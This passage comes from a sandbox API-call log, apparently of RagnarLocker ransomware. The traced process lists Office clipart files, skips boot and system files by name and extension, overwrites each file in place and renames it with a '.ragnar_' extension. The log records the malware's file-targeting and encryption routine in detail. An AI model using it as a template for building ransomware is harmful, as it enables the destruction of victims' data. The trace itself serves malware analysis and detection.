liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.248] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb96, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.249] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb96, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb96, lpOverlapped=0x0) returned 1 [0093.249] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb96, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.249] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.249] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb96, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.249] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.249] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.249] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.249] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.249] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.249] GetProcessHeap () returned 0x580000 [0093.249] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.249] CloseHandle (hObject=0xf4) returned 1 [0093.250] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF" [0093.250] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF.ragnar_FD7BD9FC" [0093.250] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl2.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl2.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.250] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x0, dwReserved1=0x0, cFileName="WING1.WMF", cAlternateFileName="")) returned 1 [0093.250] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.250] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WING1.WMF" | out: lpString1="WING1.WMF") returned="WING1.WMF" [0093.250] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF") returned=".WMF" [0093.250] lstrcmpiW (lpString1="WING1.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.250] lstrcmpiW (lpString1="WING1.WMF", lpString2="autorun.inf") returned 1 [0093.250] lstrcmpiW (lpString1="WING1.WMF", lpString2="boot.ini") returned 1 [0093.251] lstrcmpiW (lpString1="WING1.WMF", lpString2="bootfont.bin") returned 1 [0093.251] lstrcmpiW (lpString1="WING1.WMF", lpString2="bootsect.bak") returned 1 [0093.251] lstrcmpiW (lpString1="WING1.WMF", lpString2="bootmgr") returned 1 [0093.251] lstrcmpiW (lpString1="WING1.WMF", lpString2="bootmgr.efi") returned 1 [0093.251] lstrcmpiW (lpString1="WING1.WMF", lpString2="bootmgfw.efi") returned 1 [0093.251] lstrcmpiW (lpString1="WING1.WMF", lpString2="desktop.ini") returned 1 [0093.251] lstrcmpiW (lpString1="WING1.WMF", lpString2="iconcache.db") returned 1 [0093.251] lstrcmpiW (lpString1="WING1.WMF", lpString2="ntldr") returned 1 [0093.251] lstrcmpiW (lpString1="WING1.WMF", lpString2="ntuser.dat") returned 1 [0093.251] lstrcmpiW (lpString1="WING1.WMF", lpString2="ntuser.dat.log") returned 1 [0093.251] lstrcmpiW (lpString1="WING1.WMF", lpString2="ntuser.ini") returned 1 [0093.251] lstrcmpiW (lpString1="WING1.WMF", lpString2="thumbs.db") returned 1 [0093.251] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0093.251] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0093.251] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0093.251] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0093.251] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0093.251] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0093.251] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0093.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf")) returned 0x20 [0093.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.252] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2582) returned 1 [0093.252] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa0d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.252] GetProcessHeap () returned 0x580000 [0093.252] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.252] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.253] VirtualAlloc (lpAddress=0x0, dwSize=0xa16, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.254] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.254] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.254] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa16, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa16, lpOverlapped=0x0) returned 1 [0093.254] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.254] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa16, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.254] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa16, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa16, lpOverlapped=0x0) returned 1 [0093.254] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa16, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.254] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.254] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa16, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.254] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.254] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.254] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.254] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.254] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.255] GetProcessHeap () returned 0x580000 [0093.255] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.255] CloseHandle (hObject=0xf4) returned 1 [0093.255] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF" [0093.255] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF.ragnar_FD7BD9FC" [0093.255] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.255] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x0, dwReserved1=0x0, cFileName="WING2.WMF", cAlternateFileName="")) returned 1 [0093.256] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.256] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WING2.WMF" | out: lpString1="WING2.WMF") returned="WING2.WMF" [0093.256] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF") returned=".WMF" [0093.256] lstrcmpiW (lpString1="WING2.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.256] lstrcmpiW (lpString1="WING2.WMF", lpString2="autorun.inf") returned 1 [0093.256] lstrcmpiW (lpString1="WING2.WMF", lpString2="boot.ini") returned 1 [0093.256] lstrcmpiW (lpString1="WING2.WMF", lpString2="bootfont.bin") returned 1 [0093.256] lstrcmpiW (lpString1="WING2.WMF", lpString2="bootsect.bak") returned 1 [0093.256] lstrcmpiW (lpString1="WING2.WMF", lpString2="bootmgr") returned 1 [0093.256] lstrcmpiW (lpString1="WING2.WMF", lpString2="bootmgr.efi") returned 1 [0093.256] lstrcmpiW (lpString1="WING2.WMF", lpString2="bootmgfw.efi") returned 1 [0093.256] lstrcmpiW (lpString1="WING2.WMF", lpString2="desktop.ini") returned 1 [0093.256] lstrcmpiW (lpString1="WING2.WMF", lpString2="iconcache.db") returned 1 [0093.256] lstrcmpiW (lpString1="WING2.WMF", lpString2="ntldr") returned 1 [0093.256] lstrcmpiW (lpString1="WING2.WMF", lpString2="ntuser.dat") returned 1 [0093.256] lstrcmpiW (lpString1="WING2.WMF", lpString2="ntuser.dat.log") returned 1 [0093.256] lstrcmpiW (lpString1="WING2.WMF", lpString2="ntuser.ini") returned 1 [0093.256] lstrcmpiW (lpString1="WING2.WMF", lpString2="thumbs.db") returned 1 [0093.256] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0093.256] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0093.256] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0093.256] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0093.256] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0093.256] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0093.256] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0093.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf")) returned 0x20 [0093.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.257] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2422) returned 1 [0093.257] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x96d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.257] GetProcessHeap () returned 0x580000 [0093.257] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.257] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.259] VirtualAlloc (lpAddress=0x0, dwSize=0x976, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.259] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.259] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.259] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x976, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x976, lpOverlapped=0x0) returned 1 [0093.259] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.259] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x976, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.259] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x976, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x976, lpOverlapped=0x0) returned 1 [0093.259] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x976, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.259] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.259] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x976, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.259] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.259] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.260] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.260] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.260] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.260] GetProcessHeap () returned 0x580000 [0093.260] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.260] CloseHandle (hObject=0xf4) returned 1 [0093.262] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF" [0093.262] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF.ragnar_FD7BD9FC" [0093.262] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.263] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b03, dwReserved0=0x0, dwReserved1=0x0, cFileName="WNTER_01.MID", cAlternateFileName="")) returned 1 [0093.263] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.263] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WNTER_01.MID" | out: lpString1="WNTER_01.MID") returned="WNTER_01.MID" [0093.263] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned=".MID" [0093.263] lstrcmpiW (lpString1="WNTER_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.263] lstrcmpiW (lpString1="WNTER_01.MID", lpString2="autorun.inf") returned 1 [0093.263] lstrcmpiW (lpString1="WNTER_01.MID", lpString2="boot.ini") returned 1 [0093.263] lstrcmpiW (lpString1="WNTER_01.MID", lpString2="bootfont.bin") returned 1 [0093.263] lstrcmpiW (lpString1="WNTER_01.MID", lpString2="bootsect.bak") returned 1 [0093.263] lstrcmpiW (lpString1="WNTER_01.MID", lpString2="bootmgr") returned 1 [0093.263] lstrcmpiW (lpString1="WNTER_01.MID", lpString2="bootmgr.efi") returned 1 [0093.264] lstrcmpiW (lpString1="WNTER_01.MID", lpString2="bootmgfw.efi") returned 1 [0093.264] lstrcmpiW (lpString1="WNTER_01.MID", lpString2="desktop.ini") returned 1 [0093.264] lstrcmpiW (lpString1="WNTER_01.MID", lpString2="iconcache.db") returned 1 [0093.264] lstrcmpiW (lpString1="WNTER_01.MID", lpString2="ntldr") returned 1 [0093.264] lstrcmpiW (lpString1="WNTER_01.MID", lpString2="ntuser.dat") returned 1 [0093.264] lstrcmpiW (lpString1="WNTER_01.MID", lpString2="ntuser.dat.log") returned 1 [0093.264] lstrcmpiW (lpString1="WNTER_01.MID", lpString2="ntuser.ini") returned 1 [0093.264] lstrcmpiW (lpString1="WNTER_01.MID", lpString2="thumbs.db") returned 1 [0093.264] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0093.264] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0093.264] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0093.264] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0093.264] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0093.264] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0093.264] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0093.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid")) returned 0x20 [0093.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.265] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6915) returned 1 [0093.265] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1afa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.265] GetProcessHeap () returned 0x580000 [0093.265] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.265] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.266] VirtualAlloc (lpAddress=0x0, dwSize=0x1b03, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.266] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.267] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.267] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1b03, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1b03, lpOverlapped=0x0) returned 1 [0093.267] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.267] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b03, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.268] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1b03, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1b03, lpOverlapped=0x0) returned 1 [0093.268] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b03, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.268] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.268] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b03, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.268] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, 